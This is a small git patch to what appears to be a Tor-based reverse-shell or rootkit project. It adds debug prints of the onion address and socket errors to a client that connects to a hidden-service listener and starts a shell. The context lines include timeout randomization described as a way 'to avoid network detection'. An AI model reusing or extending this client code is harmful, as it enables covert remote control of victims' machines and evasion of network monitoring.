From a086f8d1c04655f1b8c504451b76d26966e15db9 Mon Sep 17 00:00:00 2001 From: emcruise Date: Tue, 12 Oct 2021 12:50:21 +0200 Subject: [PATCH] Some debugging and regeneration of releases --- client/client.py | 1 + client/network.py | 3 ++- listener/shell_ui/ascii_art.py | 2 +- 3 files changed, 4 insertions(+), 2 deletions(-) diff --git a/client/client.py b/client/client.py index 88e9abd..e0b2be1 100644 --- a/client/client.py +++ b/client/client.py @@ -25,6 +25,7 @@ def __init__(self): def initialize_network(self): onion, port = read_address_from_binary() + print('onion: ' + onion + '\nport: ' + str(port)) self.__sock = ClientSocket(onion, port) # start shell after successful network connection self.run() diff --git a/client/network.py b/client/network.py index 3ba324f..e8476e2 100644 --- a/client/network.py +++ b/client/network.py @@ -57,7 +57,8 @@ def create_connection(self): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(self.remote_addr) - except socket.error: + except socket.error as err: + print(err) # randomize connection timeout to avoid network detection timeout = randint(self.CONNECTION_TIMEOUT - 10, self.CONNECTION_TIMEOUT + 10) sleep(timeout) diff --git a/listener/shell_ui/ascii_art.py b/listener/shell_ui/ascii_art.py index 389b6b1..472d132 100644 --- a/listener/shell_ui/ascii_art.py +++ b/listener/shell_ui/ascii_art.py @@ -10,4 +10,4 @@ def draw(): print(' | |( <_> ) | \\/ | ( <_> | <_> ) | | <| || | ') print(' |____| \\____/|__| |____|_ /\\____/ \\____/|__| |__|_ \\__||__| ') print(' \\/ \\/ ') - print(Fore.GREEN + Style.BRIGHT + 'by emcruise' + Style.RESET_ALL) \ No newline at end of file + print(Fore.GREEN + Style.BRIGHT + 'by emcruise' + Style.RESET_ALL)